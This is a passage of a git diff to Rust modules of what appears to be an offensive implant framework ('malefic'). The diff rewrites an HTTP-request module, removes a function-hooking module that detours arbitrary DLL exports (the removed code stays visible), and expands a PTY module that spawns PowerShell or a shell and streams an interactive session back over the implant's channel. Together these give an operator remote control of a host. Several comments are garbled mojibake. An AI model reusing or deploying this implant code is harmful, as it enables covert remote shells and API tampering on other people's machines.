ModuleResult { let request = check_request!(receiver, Body::CurlRequest)?; - let client = surf::Client::new(); - let mut req = client.request(to_error!(request.method.parse())?, &request.url); + let mut req = ureq::request(&request.method, &request.url); - for (key, value) in request.header { - if let (Ok(header_name), Ok(header_value)) = - (HeaderName::from_string(key), HeaderValue::from_str(&value)) - { - req = req.header(header_name, header_value); - } + for (key, value) in &request.header { + req = req.set(key, value); } - if !request.body.is_empty() { - req = req.body(request.body); + let response = if request.body.is_empty() { + req.call() + } else { + req.send_bytes(&request.body) } - let mut response = to_error!(req.send().await)?; - let body = to_error!(response.body_bytes().await)?; + .map_err(|e| anyhow::anyhow!("{}", e))?; + + let status = response.status(); + let mut buf = Vec::new(); + response.into_reader().read_to_end(&mut buf)?; Ok(TaskResult::new_with_body( id, Body::BinaryResponse(malefic_proto::proto::modulepb::BinaryResponse { - data: body.to_vec(), + data: buf, message: Vec::new(), err: String::new(), - status: response.status() as i32, + status: status as i32, }), )) } } - diff --git a/malefic-3rd/src/hook/mod.rs b/malefic-3rd/src/hook/mod.rs deleted file mode 100644 index e0aff28..0000000 --- a/malefic-3rd/src/hook/mod.rs +++ /dev/null @@ -1,119 +0,0 @@ -use async_trait::async_trait; -use detour::RawDetour; -use std::ffi::{CString, c_void}; -use winapi::um::{ - libloaderapi::GetModuleHandleA, - libloaderapi::GetProcAddress, - winnt::LPCSTR, -}; -use crate::prelude::*; - -/** - * Demo for hook any funcs - * Such as MessageBoxA - */ - -type FuncFn = unsafe extern "system" fn( - hwnd: *mut c_void, - text: LPCSTR, - caption: LPCSTR, - utype: u32, -) -> i32; - - -unsafe extern "system" fn replace_func( - hwnd: *mut c_void, - _text: LPCSTR, - _caption: LPCSTR, - utype: u32, -) -> i32 { - - // æ–°çš„æ¶ˆæ¯æ–‡æœ¬ - let new_text = b"Hooked by retour-rs!\0"; - let new_caption = b"Intercepted!\0"; - - // 调用原始函数 - let original = ORIGINAL.expect("Original function not set!"); - original(hwnd, new_text.as_ptr() as _, new_caption.as_ptr() as _, utype) -} - - - - -struct Hook {} - -static mut DETOUR: Option = None; -static mut ORIGINAL: Option = None; - -#[async_trait] -#[module_impl("hook")] -impl Module for Hook {} - -#[async_trait] -impl ModuleImpl for Hook { - async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { - let request = check_request!(receiver, Body::Request)?; - let input = check_field!(request.input)?; - if input.eq(&"hook") { - unsafe { - let args = check_field!(request.args)?; - if args.len().ne(&2) { - return Err(anyhow!("Need two arguments: dll name and func name")); - } - let module_name = match CString::new(args[0].clone()) { - Ok(name) => name, - Err(e) => { - return Err(anyhow!(e.to_string())) - } - }; - let func_name = match CString::new(args[1].clone()) { - Ok(name) => name, - Err(e) => { - return Err(anyhow!(e.to_string())) - } - }; - let module_handle = GetModuleHandleA(module_name.as_ptr() as _); - if module_handle.is_null() { - return Err(anyhow!("module handle get failed")); - } - - let func_addr = GetProcAddress(module_handle, func_name.as_ptr() as _); - if func_addr.is_null() { - return Err(anyhow!("func handle get failed")); - } - - let detour = RawDetour::new(func_addr as * const (), replace_func as *const ()); - match detour { - Ok(detour) => { - let trampoline = detour.trampoline(); - ORIGINAL = Some(std::mem::transmute(trampoline as *const ())); - match detour.enable() { - Ok(_) => { - DETOUR = Some(detour); - }, - Err(e) => { - return Err(anyhow!(e.to_string())); - } - } - } - Err(e) => { - return Err(anyhow!(e.to_string())); - } - } - - } - } else if input.eq(&"unhook") { - unsafe { - if let Some(detour) = DETOUR.take() { - detour.disable().ok(); - } - } - } else { - return Err(anyhow!("Unknown input, Need hook/unhook")); - } - - - let resp = Response::default(); - Ok(TaskResult::new_with_body(id, Body::Response(resp))) - } -} \ No newline at end of file diff --git a/malefic-3rd/src/lib.rs b/malefic-3rd/src/lib.rs index ca08f79..c187b67 100644 --- a/malefic-3rd/src/lib.rs +++ b/malefic-3rd/src/lib.rs @@ -9,11 +9,8 @@ mod curl; #[cfg(feature = "pty")] mod pty; -#[cfg(feature = "hook")] -mod hook; - -use std::collections::HashMap; use prelude::*; +use std::collections::HashMap; pub extern "C" fn register_3rd() -> MaleficBundle { let mut map: MaleficBundle = HashMap::new(); @@ -23,21 +20,19 @@ pub extern "C" fn register_3rd() -> MaleficBundle { register_module!(map, "memory_dial", rem::MemoryDial); } - // #[cfg(feature = "rem_reflection")] - // register_module!(map, "load_rem", rem::LoadRem); - #[cfg(feature = "curl")] register_module!(map, "curl", curl::Curl); #[cfg(feature = "pty")] register_module!(map, "pty", pty::Pty); - + map } -#[cfg(feature = "as_cdylib")] -#[no_mangle] -#[allow(improper_ctypes_definitions)] -pub extern "C" fn register_modules() -> MaleficBundle { - register_3rd() -} +#[cfg(feature = "as_module_dll")] +malefic_module::register_rt_modules!( + #[cfg(feature = "rem")] rem::RemDial, + #[cfg(feature = "rem")] rem::MemoryDial, + #[cfg(feature = "curl")] curl::Curl, + #[cfg(feature = "pty")] pty::Pty +); diff --git a/malefic-3rd/src/prelude.rs b/malefic-3rd/src/prelude.rs index f7523db..9e4ca98 100644 --- a/malefic-3rd/src/prelude.rs +++ b/malefic-3rd/src/prelude.rs @@ -1,3 +1,14 @@ -pub use malefic_trait::module_impl; -pub use malefic_proto::prelude::*; -pub use anyhow::anyhow; \ No newline at end of file +#![allow(unused_imports)] + +pub use anyhow::anyhow; +pub use malefic_gateway::module_impl; +pub use malefic_module::{ + check_field, check_optional, check_request, debug, register_module, to_error, +}; +pub use malefic_module::{ + Input, MaleficBundle, MaleficModule, Module, ModuleImpl, ModuleResult, Output, TaskError, + TaskResult, +}; +pub use malefic_proto::proto::implantpb::spite::Body; +pub use malefic_proto::proto::implantpb::{Spite, Spites}; +pub use malefic_proto::proto::modulepb::Response; diff --git a/malefic-3rd/src/pty/mod.rs b/malefic-3rd/src/pty/mod.rs index f8ecc23..4034b3d 100644 --- a/malefic-3rd/src/pty/mod.rs +++ b/malefic-3rd/src/pty/mod.rs @@ -1,19 +1,21 @@ +use crate::prelude::*; use async_trait::async_trait; -use malefic_trait::module_impl; use futures_timer::Delay; -use std::io::{Read, Write}; +use malefic_gateway::module_impl; use malefic_proto::proto::implantpb::spite::Body; use malefic_proto::proto::modulepb::{PtyRequest, PtyResponse}; -use portable_pty::{CommandBuilder, PtySize, native_pty_system, Child}; -use std::sync::{Arc, Mutex, mpsc::{self, Sender, Receiver}}; -use std::time::Duration; +use portable_pty::{native_pty_system, Child, CommandBuilder, PtySize}; use std::collections::HashMap; +use std::io::{Read, Write}; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{ + mpsc::{self, Receiver, Sender, TryRecvError}, + Arc, Mutex, +}; use std::thread; -use lazy_static::lazy_static; -use crate::prelude::*; +use std::time::Duration; -// PTY session manager -lazy_static::lazy_static! { +malefic_gateway::lazy_static! { static ref PTY_SESSIONS: Arc>> = Arc::new(Mutex::new(HashMap::new())); } @@ -27,12 +29,46 @@ enum OutputData { } pub struct PtySession { - pub input_sender: Sender>, - pub output_receiver: Arc>>, - pub session_id: String, - pub active: Arc>, - pub child: Arc>>, - pub master: Arc>>, + input_sender: Sender>, + output_receiver: Arc>>, + session_id: String, + active: Arc>, + child: Arc>>, + master: Arc>>, + busy: Arc, +} + +#[derive(Clone)] +struct SessionHandles { + input_sender: Sender>, + output_receiver: Arc>>, + active: Arc>, + child: Arc>>, + master: Arc>>, + busy: Arc, +} + +#[derive(Clone, Copy)] +struct CollectOptions { + first_byte_timeout_ms: u64, + quiet_ms: u64, + max_bytes: usize, +} + +struct CollectResult { + output_data: Vec, + closed: bool, + truncated: bool, +} + +struct SessionBusyGuard { + busy: Arc, +} + +impl Drop for SessionBusyGuard { + fn drop(&mut self) { + self.busy.store(false, Ordering::Release); + } } impl std::fmt::Debug for PtySession { @@ -43,12 +79,12 @@ impl std::fmt::Debug for PtySession { } } -// 简化的错误å“应构造器 impl Pty { fn error_response(id: u32, session_id: &str, error: String, active: bool) -> ModuleResult { let response = PtyResponse { session_id: session_id.to_string(), output_text: String::new(), + output_data: Vec::new(), error, session_active: active, active_sessions: Vec::new(), @@ -57,11 +93,18 @@ impl Pty { Ok(TaskResult::new_with_body(id, Body::PtyResponse(response))) } - fn success_response(id: u32, session_id: &str, output: String, active: bool, metadata: HashMap) -> ModuleResult { + fn success_response( + id: u32, + session_id: &str, + output_data: Vec, + output_text: String, + active: bool, + metadata: HashMap, + ) -> ModuleResult { let response = PtyResponse { session_id: session_id.to_string(), - output_text: output.clone(), - output_data: output.as_bytes().to_vec(), + output_text, + output_data, error: String::new(), session_active: active, active_sessions: Vec::new(), @@ -71,13 +114,15 @@ impl Pty { Ok(TaskResult::new_with_body(id, Body::PtyResponse(response))) } - // 检查会è¯çжæ€çš„统一方法 fn check_session_status(session_id: &str) -> Result { let sessions = PTY_SESSIONS.lock().unwrap(); - let session = sessions.get(session_id) + let session = sessions + .get(session_id) .ok_or_else(|| format!("PTY session {} does not exist", session_id))?; - let active = session.active.try_lock() + let active = session + .active + .try_lock() .map(|guard| *guard) .unwrap_or(true); @@ -85,29 +130,51 @@ impl Pty { return Err(format!("PTY session {} is no longer active", session_id)); } - // 检查å­è¿›ç¨‹çŠ¶æ€ if let Ok(mut child_guard) = session.child.try_lock() { if let Ok(Some(exit_status)) = child_guard.try_wait() { - return Err(format!("Shell process has exited with status: {:?}", exit_status)); + return Err(format!( + "Shell process has exited with status: {:?}", + exit_status + )); } } Ok(active) } - // 获å–会è¯çš„输入å‘é€å™¨å’Œè¾“出接收器 - fn get_session_channels(session_id: &str) -> Result<(Sender>, Arc>>), String> { + fn get_session_handles(session_id: &str) -> Result { let sessions = PTY_SESSIONS.lock().unwrap(); - let session = sessions.get(session_id) + let session = sessions + .get(session_id) .ok_or_else(|| format!("PTY session {} does not exist", session_id))?; - Ok((session.input_sender.clone(), session.output_receiver.clone())) + Ok(SessionHandles { + input_sender: session.input_sender.clone(), + output_receiver: session.output_receiver.clone(), + active: session.active.clone(), + child: session.child.clone(), + master: session.master.clone(), + busy: session.busy.clone(), + }) + } + + fn acquire_session_busy(handles: &SessionHandles) -> Result { + match handles + .busy + .compare_exchange(false, true, Ordering::AcqRel, Ordering::Acquire) + { + Ok(_) => Ok(SessionBusyGuard { + busy: handles.busy.clone(), + }), + Err(_) => Err("PTY session is busy processing another request".to_string()), + } } - // 获å–默认shell - 固定PowerShell路径 fn get_default_shell(requested_shell: &str) -> String { if cfg!(windows) { - if requested_shell.is_empty() || matches!(requested_shell, "pwsh" | "powershell" | "powershell.exe") { + if requested_shell.is_empty() + || matches!(requested_shell, "pwsh" | "powershell" | "powershell.exe") + { "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe".to_string() } else { requested_shell.to_string() @@ -121,11 +188,12 @@ impl Pty { } } - // 简化的promptæå– fn extract_simple_prompt(output: &str) -> Option { for line in output.lines().rev() { let trimmed = line.trim(); - if trimmed.is_empty() { continue; } + if trimmed.is_empty() { + continue; + } if let Some(last_char) = trimmed.chars().last() { if matches!(last_char, '>' | '$' | '#' | 'â¯') { @@ -136,7 +204,6 @@ impl Pty { None } - // 移除末尾prompt行 fn remove_trailing_prompt(text: &str) -> (String, Option) { if let Some(prompt) = Self::extract_simple_prompt(text) { if let Some(last_newline) = text.trim_end().rfind('\n') { @@ -146,7 +213,6 @@ impl Pty { (text.to_string(), None) } - // 移除输入回显 fn remove_input_echo(output_data: &[u8], input_data: &[u8]) -> Vec { let output_str = String::from_utf8_lossy(output_data); let input_str = String::from_utf8_lossy(input_data); @@ -158,11 +224,203 @@ impl Pty { } } + fn parse_bool_param(params: &HashMap, key: &str, default: bool) -> bool { + let Some(value) = params.get(key) else { + return default; + }; + + match value.trim().to_ascii_lowercase().as_str() { + "1" | "true" | "yes" | "on" => true, + "0" | "false" | "no" | "off" => false, + _ => default, + } + } + + fn parse_u64_param( + params: &HashMap, + key: &str, + default: u64, + min: u64, + max: u64, + ) -> u64 { + let Some(value) = params.get(key) else { + return default; + }; + + let Ok(parsed) = value.trim().parse::() else { + return default; + }; + + parsed.clamp(min, max) + } + + fn collect_options(request: &PtyRequest, for_start: bool) -> CollectOptions { + let first_timeout = if for_start { 1500 } else { 3000 }; + let quiet_timeout = if for_start { 200 } else { 150 }; + + let first_byte_timeout_ms = Self::parse_u64_param( + &request.params, + "first_byte_timeout_ms", + first_timeout, + 50, + 60000, + ); + + let quiet_ms = Self::parse_u64_param(&request.params, "quiet_ms", quiet_timeout, 10, 10000); + + let max_bytes = Self::parse_u64_param( + &request.params, + "max_bytes", + 256 * 1024, + 128, + 16 * 1024 * 1024, + ) as usize; + + CollectOptions { + first_byte_timeout_ms, + quiet_ms, + max_bytes, + } + } + + fn drain_output(receiver: &Arc>>) { + if let Ok(receiver_guard) = receiver.try_lock() { + while receiver_guard.try_recv().is_ok() {} + } + } + + fn is_special_key(input_data: &[u8]) -> bool { + matches!( + input_data, + [27, 91, 65] | // Up arrow + [27, 91, 66] | // Down arrow + [27, 91, 67] | // Right arrow + [27, 91, 68] | // Left arrow + [9] // Tab + ) + } + + async fn collect_output( + receiver: &Arc>>, + options: CollectOptions, + ) -> Result { + const POLL_MS: u64 = 25; + + let mut output_data = Vec::new(); + let mut elapsed_ms = 0u64; + let mut quiet_elapsed_ms = 0u64; + let mut seen_stdout = false; + let mut closed = false; + let mut truncated = false; + + loop { + let mut had_new_data = false; + + if let Ok(receiver_guard) = receiver.try_lock() { + loop { + match receiver_guard.try_recv() { + Ok(OutputData::Stdout(bytes)) => { + had_new_data = true; + seen_stdout = true; + output_data.extend_from_slice(&bytes); + if output_data.len() >= options.max_bytes { + output_data.truncate(options.max_bytes); + truncated = true; + break; + } + } + Ok(OutputData::Error(error)) => { + return Err(error); + } + Ok(OutputData::Close) => { + closed = true; + break; + } + Err(TryRecvError::Empty) => break, + Err(TryRecvError::Disconnected) => { + closed = true; + break; + } + } + } + } + + if truncated || closed { + break; + } + + if !seen_stdout { + if elapsed_ms >= options.first_byte_timeout_ms { + break; + } + } else if had_new_data { + quiet_elapsed_ms = 0; + } else { + quiet_elapsed_ms += POLL_MS; + if quiet_elapsed_ms >= options.quiet_ms { + break; + } + } + + Delay::new(Duration::from_millis(POLL_MS)).await; + elapsed_ms += POLL_MS; + } + + Ok(CollectResult { + output_data, + closed, + truncated, + }) + } + + fn terminate_and_remove_session(session_id: &str) -> bool { + let session = { + let mut sessions = PTY_SESSIONS.lock().unwrap(); + sessions.remove(session_id) + }; + + let Some(session) = session else { + return false; + }; + + if let Ok(mut active_guard) = session.active.try_lock() { + *active_guard = false; + } + + if let Ok(mut child_guard) = session.child.try_lock() { + if let Ok(None) = child_guard.try_wait() { + let _ = child_guard.kill(); + } + } + + true + } + fn try_drain_output(receiver: &Arc>>) -> (Vec, bool) { + let mut data = Vec::new(); + let mut closed = false; + if let Ok(rx) = receiver.try_lock() { + loop { + match rx.try_recv() { + Ok(OutputData::Stdout(bytes)) => data.extend_from_slice(&bytes), + Ok(OutputData::Error(_)) | Ok(OutputData::Close) => { + closed = true; + break; + } + Err(TryRecvError::Empty) => break, + Err(TryRecvError::Disconnected) => { + closed = true; + break; + } + } + } + } + (data, closed) + } } -// PTY I/O 处ç†å‡½æ•° fn read_pty(mut reader: Box, sender: Sender, session_id: String) { + let _ = session_id; let mut buf = vec![0; 4096]; loop { match reader.read(&mut buf) { @@ -188,15 +446,15 @@ fn write_pty( receiver: Receiver>, _session_id: String, active: Arc>, - child: Arc>> + child: Arc>>, ) { while let Ok(data) = receiver.recv() { - // 检查会è¯çŠ¶æ€ if let Ok(is_active) = active.try_lock() { - if !*is_active { break; } + if !*is_active { + break; + } } - // 检查å­è¿›ç¨‹çŠ¶æ€ if let Ok(mut child_guard) = child.try_lock() { if let Ok(Some(_)) = child_guard.try_wait() { if let Ok(mut is_active) = active.try_lock() { @@ -221,65 +479,89 @@ impl ModuleImpl for Pty { async fn run(&mut self, id: u32, receiver: &mut Input, sender: &mut Output) -> ModuleResult { let request = check_request!(receiver, Body::PtyRequest)?; + let streaming = Self::parse_bool_param(&request.params, "streaming", false); + + if request.r#type == "start" && streaming { + return self.run_streaming(id, receiver, sender, &request).await; + } + match request.r#type.as_str() { "start" => self.start_session(id, &request).await, "input" => self.send_input(id, &request).await, "resize" => self.resize_session(id, &request).await, "stop" => self.stop_session(id, &request).await, "list" => self.list_sessions(id).await, - _ => Self::error_response(id, "", - format!("Unknown PTY command: {}. Supported: start, input, resize, stop, list", request.r#type), - false) + _ => Self::error_response( + id, + "", + format!( + "Unknown PTY command: {}. Supported: start, input, resize, stop, list", + request.r#type + ), + false, + ), } } } impl Pty { - async fn start_session(&mut self, id: u32, request: &PtyRequest) -> ModuleResult { + async fn run_streaming( + &mut self, + id: u32, + receiver: &mut Input, + sender: &mut Output, + request: &PtyRequest, + ) -> ModuleResult { let session_id = if request.session_id.is_empty() { format!("pty_{}", id) } else { request.session_id.clone() }; - // æ£€æŸ¥ä¼šè¯æ˜¯å¦å·²å­˜åœ¨ { let sessions = PTY_SESSIONS.lock().unwrap(); if sessions.contains_key(&session_id) { - return Self::error_response(id, &session_id, - format!("PTY session {} already exists", session_id), true); + return Self::error_response( + id, + &session_id, + format!("PTY session {} already exists", session_id), + true, + ); } } - // 创建PTY let pty_system = native_pty_system(); let cols = if request.cols > 0 { request.cols } else { 80 }; let rows = if request.rows > 0 { request.rows } else { 24 }; - let pair = pty_system.openpty(PtySize { - rows: rows as u16, - cols: cols as u16, - pixel_width: 0, - pixel_height: 0, - }).map_err(|e| anyhow::anyhow!("Failed to create PTY: {}", e))?; + let pair = pty_system + .openpty(PtySize { + rows: rows as u16, + cols: cols as u16, + pixel_width: 0, + pixel_height: 0, + }) + .map_err(|e| anyhow::anyhow!("Failed to create PTY: {}", e))?; - // å¯åЍshell let shell = Self::get_default_shell(&request.shell); let mut cmd = CommandBuilder::new(&shell); - if cfg!(windows) && shell.contains("powershell") { cmd.arg("-NoLogo"); } - cmd.env("TERM", "xterm-256color"); - let child = pair.slave.spawn_command(cmd) + let child = pair + .slave + .spawn_command(cmd) .map_err(|e| anyhow::anyhow!("Failed to start shell: {}", e))?; - // 设置I/Oç®¡é“ - let reader = pair.master.try_clone_reader() + let pty_reader = pair + .master + .try_clone_reader() .map_err(|e| anyhow::anyhow!("Failed to clone reader: {}", e))?; - let writer = pair.master.take_writer() + let writer = pair + .master + .take_writer() .map_err(|e| anyhow::anyhow!("Failed to get writer: {}", e))?; let (output_tx, output_rx) = mpsc::channel(); @@ -289,49 +571,301 @@ impl Pty { let child_ref = Arc::new(Mutex::new(child)); let master_ref = Arc::new(Mutex::new(pair.master)); - // å¯åЍI/O线程 let reader_session_id = session_id.clone(); - thread::spawn(move || read_pty(reader, output_tx, reader_session_id)); + thread::spawn(move || read_pty(pty_reader, output_tx, reader_session_id)); let writer_session_id = session_id.clone(); let writer_active = active.clone(); let writer_child = child_ref.clone(); - thread::spawn(move || write_pty(writer, input_rx, writer_session_id, writer_active, writer_child)); + thread::spawn(move || { + write_pty( + writer, + input_rx, + writer_session_id, + writer_active, + writer_child, + ) + }); + + let output_receiver = Arc::new(Mutex::new(output_rx)); - // å­˜å‚¨ä¼šè¯ { let mut sessions = PTY_SESSIONS.lock().unwrap(); - sessions.insert(session_id.clone(), PtySession { - input_sender: input_tx, - output_receiver: Arc::new(Mutex::new(output_rx)), - session_id: session_id.clone(), - active, - child: child_ref, - master: master_ref, - - }); - } - - // 等待åˆå§‹åŒ–并收集åˆå§‹è¾“出 - Delay::new(Duration::from_millis(500)).await; - - let mut initial_output = Vec::new(); - if let Ok(sessions) = PTY_SESSIONS.lock() { - if let Some(session) = sessions.get(&session_id) { - if let Ok(receiver) = session.output_receiver.try_lock() { - while let Ok(data) = receiver.try_recv() { - if let OutputData::Stdout(bytes) = data { - initial_output.extend_from_slice(&bytes); + sessions.insert( + session_id.clone(), + PtySession { + input_sender: input_tx, + output_receiver: output_receiver.clone(), + session_id: session_id.clone(), + active: active.clone(), + child: child_ref.clone(), + master: master_ref, + busy: Arc::new(AtomicBool::new(false)), + }, + ); + } + + let output_sender = sender.clone(); + let reader_output_rx = output_receiver.clone(); + let reader_session_id = session_id.clone(); + let reader_active = active.clone(); + let reader_child = child_ref.clone(); + + thread::spawn(move || { + use futures::executor::block_on; + use futures::SinkExt; + let mut tx = output_sender; + + loop { + let is_active = reader_active.try_lock().map(|g| *g).unwrap_or(true); + if !is_active { + let resp = PtyResponse { + session_id: reader_session_id.clone(), + session_active: false, + error: "Session closed".to_string(), + ..Default::default() + }; + let _ = + block_on(tx.send(TaskResult::new_with_body(id, Body::PtyResponse(resp)))); + break; + } + + if let Ok(mut cg) = reader_child.try_lock() { + if let Ok(Some(_)) = cg.try_wait() { + if let Ok(mut ag) = reader_active.try_lock() { + *ag = false; } + let resp = PtyResponse { + session_id: reader_session_id.clone(), + session_active: false, + error: "Shell process exited".to_string(), + ..Default::default() + }; + let _ = block_on( + tx.send(TaskResult::new_with_body(id, Body::PtyResponse(resp))), + ); + break; + } + } + + let (data, closed) = Pty::try_drain_output(&reader_output_rx); + if !data.is_empty() { + let output_text = String::from_utf8_lossy(&data).to_string(); + let resp = PtyResponse { + session_id: reader_session_id.clone(), + output_data: data, + output_text, + session_active: !closed, + ..Default::default() + }; + if block_on(tx.send(TaskResult::new_with_body(id, Body::PtyResponse(resp)))) + .is_err() + { + break; } } + + if closed { + break; + } + + thread::sleep(Duration::from_millis(5)); + } + }); + + use futures::SinkExt; + + let start_resp = PtyResponse { + session_id: session_id.clone(), + output_text: format!( + "PTY streaming session started: {} (using {})", + session_id, shell + ), + session_active: true, + metadata: { + let mut m = HashMap::new(); + m.insert("shell".to_string(), shell); + m.insert("streaming".to_string(), "true".to_string()); + m + }, + ..Default::default() + }; + let _ = sender + .send(TaskResult::new_with_body(id, Body::PtyResponse(start_resp))) + .await; + + use futures::StreamExt; + while let Some(body) = receiver.next().await { + if let Body::PtyRequest(req) = body { + match req.r#type.as_str() { + "input" => { + let input_data = if !req.input_data.is_empty() { + req.input_data.clone() + } else { + req.input_text.as_bytes().to_vec() + }; + + if !input_data.is_empty() { + let handles = Self::get_session_handles(&session_id); + if let Ok(h) = handles { + let _ = h.input_sender.send(input_data); + } + } + } + "resize" => { + let c = if req.cols > 0 { req.cols } else { 80 }; + let r = if req.rows > 0 { req.rows } else { 24 }; + if let Ok(handles) = Self::get_session_handles(&session_id) { + if let Ok(master) = handles.master.try_lock() { + let _ = master.resize(PtySize { + rows: r as u16, + cols: c as u16, + pixel_width: 0, + pixel_height: 0, + }); + } + } + } + "stop" => { + Self::terminate_and_remove_session(&session_id); + break; + } + _ => {} + } + } + } + + Self::terminate_and_remove_session(&session_id); + + let final_resp = PtyResponse { + session_id: session_id.clone(), + output_text: "Session exited".to_string(), + session_active: false, + ..Default::default() + }; + Ok(TaskResult::new_with_body(id, Body::PtyResponse(final_resp))) + } + + // --- Legacy request-response methods (backward compatible) --- + + async fn start_session(&mut self, id: u32, request: &PtyRequest) -> ModuleResult { + let session_id = if request.session_id.is_empty() { + format!("pty_{}", id) + } else { + request.session_id.clone() + }; + + { + let sessions = PTY_SESSIONS.lock().unwrap(); + if sessions.contains_key(&session_id) { + return Self::error_response( + id, + &session_id, + format!("PTY session {} already exists", session_id), + true, + ); } } - let output_text = if initial_output.is_empty() { - format!("PTY session started: {} (using {})", session_id, shell) + let pty_system = native_pty_system(); + let cols = if request.cols > 0 { request.cols } else { 80 }; + let rows = if request.rows > 0 { request.rows } else { 24 }; + + let pair = pty_system + .openpty(PtySize { + rows: rows as u16, + cols: cols as u16, + pixel_width: 0, + pixel_height: 0, + }) + .map_err(|e| anyhow::anyhow!("Failed to create PTY: {}", e))?; + + let shell = Self::get_default_shell(&request.shell); + let mut cmd = CommandBuilder::new(&shell); + + if cfg!(windows) && shell.contains("powershell") { + cmd.arg("-NoLogo"); + } + + cmd.env("TERM", "xterm-256color"); + + let child = pair + .slave + .spawn_command(cmd) + .map_err(|e| anyhow::anyhow!("Failed to start shell: {}", e))?; + + let reader = pair + .master + .try_clone_reader() + .map_err(|e| anyhow::anyhow!("Failed to clone reader: {}", e))?; + let writer = pair + .master + .take_writer() + .map_err(|e| anyhow::anyhow!("Failed to get writer: {}", e))?; + + let (output_tx, output_rx) = mpsc::channel(); + let (input_tx, input_rx) = mpsc::channel(); + + let active = Arc::new(Mutex::new(true)); + let child_ref = Arc::new(Mutex::new(child)); + let master_ref = Arc::new(Mutex::new(pair.master)); + + let reader_session_id = session_id.clone(); + thread::spawn(move || read_pty(reader, output_tx, reader_session_id)); + + let writer_session_id = session_id.clone(); + let writer_active = active.clone(); + let writer_child = child_ref.clone(); + thread::spawn(move || { + write_pty( + writer, + input_rx, + writer_session_id, + writer_active, + writer_child, + ) + }); + + { + let mut sessions = PTY_SESSIONS.lock().unwrap(); + sessions.insert( + session_id.clone(), + PtySession { + input_sender: input_tx, + output_receiver: Arc::new(Mutex::new(output_rx)), + session_id: session_id.clone(), + active, + child: child_ref, + master: master_ref, + busy: Arc::new(AtomicBool::new(false)), + }, + ); + } + + let options = Self::collect_options(request, true); + let session = match Self::get_session_handles(&session_id) { + Ok(session) => session, + Err(error) => { + Self::terminate_and_remove_session(&session_id); + return Self::error_response(id, &session_id, error, false); + } + }; + + let collect_result = match Self::collect_output(&session.output_receiver, options).await { + Ok(result) => result, + Err(error) => { + Self::terminate_and_remove_session(&session_id); + return Self::error_response(id, &session_id, error, false); + } + }; + + let mut output_data = collect_result.output_data; + let output_text = if output_data.is_empty() { + let message = format!("PTY session started: {} (using {})", session_id, shell); + output_data = message.as_bytes().to_vec(); + message } else { - String::from_utf8_lossy(&initial_output).to_string() + String::from_utf8_lossy(&output_data).to_string() }; let (output_text, prompt) = Self::remove_trailing_prompt(&output_text); @@ -339,9 +873,27 @@ impl Pty { if let Some(p) = prompt { metadata.insert("prompt".to_string(), p); } + if collect_result.truncated { + metadata.insert("truncated".to_string(), "true".to_string()); + } + if collect_result.closed { + metadata.insert("closed".to_string(), "true".to_string()); + } metadata.insert("shell".to_string(), shell); - Self::success_response(id, &session_id, output_text, true, metadata) + let session_active = !collect_result.closed; + if collect_result.closed { + Self::terminate_and_remove_session(&session_id); + } + + Self::success_response( + id, + &session_id, + output_data, + output_text, + session_active, + metadata, + ) } async fn send_input(&mut self, id: u32, request: &PtyRequest) -> ModuleResult { @@ -350,82 +902,119 @@ impl Pty { return Self::error_response(id, "", "Missing session_id parameter".to_string(), false); } - // 检查会è¯çŠ¶æ€ let _active = match Self::check_session_status(session_id) { Ok(active) => active, Err(error) => return Self::error_response(id, session_id, error, false), }; - // 获å–会è¯é€šé“ - let (input_sender, output_receiver) = match Self::get_session_channels(session_id) { - Ok(channels) => channels, + let session = match Self::get_session_handles(session_id) { + Ok(session) => session, Err(error) => return Self::error_response(id, session_id, error, false), }; - // 处ç†è¾“å…¥æ•°æ® + let _busy_guard = match Self::acquire_session_busy(&session) { + Ok(guard) => guard, + Err(error) => { + return Self::error_response(id, session_id, error, false); + } + }; + + if let Ok(mut child_guard) = session.child.try_lock() { + if let Ok(Some(_)) = child_guard.try_wait() { + if let Ok(mut active_guard) = session.active.try_lock() { + *active_guard = false; + } + Self::terminate_and_remove_session(session_id); + return Self::error_response( + id, + session_id, + "Shell process is already closed".to_string(), + false, + ); + } + } + let input_data = if !request.input_data.is_empty() { request.input_data.clone() } else { request.input_text.as_bytes().to_vec() }; - // 简化的清ç†ç­–ç•¥ï¼šé™¤äº†ç‰¹æ®Šå¯¼èˆªé”®ï¼Œå…¶ä»–è¾“å…¥éƒ½æ¸…ç† - let is_special_key = matches!(&input_data[..], - [27, 91, 65] | // 上方å‘é”® - [27, 91, 66] | // 下方å‘é”® - [27, 91, 67] | // 峿–¹å‘é”® - [27, 91, 68] | // 左方å‘é”® - [9] // Tabé”® - ); + if input_data.is_empty() { + return Self::success_response( + id, + session_id, + Vec::new(), + String::new(), + true, + HashMap::new(), + ); + } - if !is_special_key { - let _ = input_sender.send(vec![3]); // Ctrl+C - Delay::new(Duration::from_millis(200)).await; + let is_special_key = Self::is_special_key(&input_data); + let legacy_pre_interrupt = + Self::parse_bool_param(&request.params, "legacy_pre_interrupt", false); - // 清空缓冲区 - if let Ok(receiver) = output_receiver.try_lock() { - while receiver.try_recv().is_ok() {} - } + if legacy_pre_interrupt && !is_special_key { + let _ = session.input_sender.send(vec![3]); + Delay::new(Duration::from_millis(100)).await; + Self::drain_output(&session.output_receiver); } - // å‘é€å®žé™…输入 - if let Err(_) = input_sender.send(input_data.clone()) { - return Self::error_response(id, session_id, - "Failed to send input - session may be closed".to_string(), false); + if let Err(_) = session.input_sender.send(input_data.clone()) { + return Self::error_response( + id, + session_id, + "Failed to send input - session may be closed".to_string(), + false, + ); } - // 等待输出,简化的超时逻辑 - let mut output_data = Vec::new(); - for _ in 0..50 { // 5ç§’è¶…æ—¶ - Delay::new(Duration::from_millis(100)).await; + let options = Self::collect_options(request, false); + let collect_result = match Self::collect_output(&session.output_receiver, options).await { + Ok(result) => result, + Err(error) => return Self::error_response(id, session_id, error, false), + }; - if let Ok(receiver) = output_receiver.try_lock() { - while let Ok(OutputData::Stdout(bytes)) = receiver.try_recv() { - output_data.extend_from_slice(&bytes); - } - } + let strip_echo = Self::parse_bool_param(&request.params, "strip_echo", true); + let detect_prompt = Self::parse_bool_param(&request.params, "detect_prompt", true); - // 检查prompt出现(命令完æˆï¼‰ - if !output_data.is_empty() { - let output_str = String::from_utf8_lossy(&output_data); - if output_str.chars().any(|c| matches!(c, 'â¯' | '$' | '>' | '#')) { - break; - } - } + let mut cleaned_output = collect_result.output_data; + if strip_echo && !is_special_key { + cleaned_output = Self::remove_input_echo(&cleaned_output, 